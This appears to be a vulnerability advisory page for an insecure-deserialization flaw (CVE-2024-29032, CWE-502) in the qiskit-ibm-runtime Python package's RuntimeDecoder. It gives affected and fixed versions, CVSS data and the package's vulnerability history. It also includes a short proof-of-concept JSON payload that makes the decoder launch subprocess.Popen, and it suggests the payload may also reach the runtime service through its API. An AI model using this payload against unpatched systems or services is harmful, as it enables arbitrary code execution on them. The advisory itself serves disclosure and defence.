Medium

`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

  • Disclosed: 20.03.2024
  • Updated: 11.10.2026 15:17

Summary

deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string

Details

RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159

PoC

python
malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal

(where obviously "echo hi" can be replaced with something much more malicious)

notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)

python
service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"

Impact

i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)

Affected software

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) qiskit-ibm-runtime >= 0.1.0, < 0.21.2 0.21.2

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness (CWE)
CWE-502
Platform
Python (PyPI)
Package
qiskit-ibm-runtime
Disclosed
20.03.2024
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1858 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x4x5-jv3x-9c7m - CC BY 4.0

Vulnerability history: qiskit-ibm-runtime

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
03.2024 03.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 1
  • Low 1

Disclosures per year

  1. 2024: 2
  2. 2025: 0
  3. 2026: 0
  1. `qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code this entry
    Medium · 5.3 CVE-2024-29032 >= 0.1.0, < 0.21.2 0.21.2
  2. Low · 2.8 ghsa-cq96-9974-v8hm >= 0.11.0, < 0.11.1 0.11.1

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